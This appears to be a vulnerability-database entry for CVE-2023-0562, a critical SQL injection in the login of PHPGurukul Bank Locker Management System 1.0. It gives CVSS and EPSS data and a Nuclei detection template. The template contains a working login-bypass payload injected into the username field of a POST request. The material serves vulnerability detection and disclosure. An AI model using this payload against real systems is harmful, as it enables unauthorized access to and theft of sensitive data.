SecurityContext

CVE-2023-0562: Bank Locker Management System v1.0 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.44268
  • Epss percentile: 0.98788
  • Cpe: cpe:2.3:a:phpgurukul:bank_locker_management_system:1.0:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: bank_locker_management_system
  • Vendor: phpgurukul
  • Verified: yes

Products

ProductIndexedUrl
phpgurukul:bank_locker_management_systemyes/v1/products/phpgurukul/bank_locker_management_system

Labels

  • Name: PHPGurukul Bank Locker Management System - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
  • Remediation: Sanitize and parameterize user inputs; update to the latest version if available.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-0562
  • Not known: requirements

```yaml

id: CVE-2023-0562

info:

name: Bank Locker Management System v1.0 - SQL Injection

author: Harsh

severity: critical

description: |

A vulnerability was found in PHPGurukul Bank Locker Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file index.php of the component Login. The manipulation of the argument username leads to sql injection.

impact: |

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

remediation: |

Upgrade to the latest version to mitigate this vulnerability.

reference:

- https://vuldb.com/?ctiid.219716

- https://nvd.nist.gov/vuln/detail/CVE-2023-0562

- https://vuldb.com/?id.219716

- https://github.com/ctflearner/ctflearner

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-0562

cwe-id: CWE-89

epss-score: 0.44268

epss-percentile: 0.98788

cpe: cpe:2.3:a:phpgurukul:bank_locker_management_system:1.0:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: phpgurukul

product: bank_locker_management_system

tags: cve,cve2023,blms,sqli,bypass,phpgurukul,vuln

http:

- raw:

- |

POST /banker/index.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username=admin%27+AND+4719%3D4719--+GZHh&inputpwd=ABC&login=

redirects: true

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(body, "admin")'

- 'contains(body, "BLMS | Dashboard")'

condition: and

digest: 4b0a00483046022100bf290fbf45c65c14011040250e66b466237b91cbca06ed823f4f7fb023679fe2022100dfdc74b7675a409384c2b68fca3e1b4978c5883dc754d7ba33b171766c4b3a08:922c64590222798bb761d5b6d8e72950

```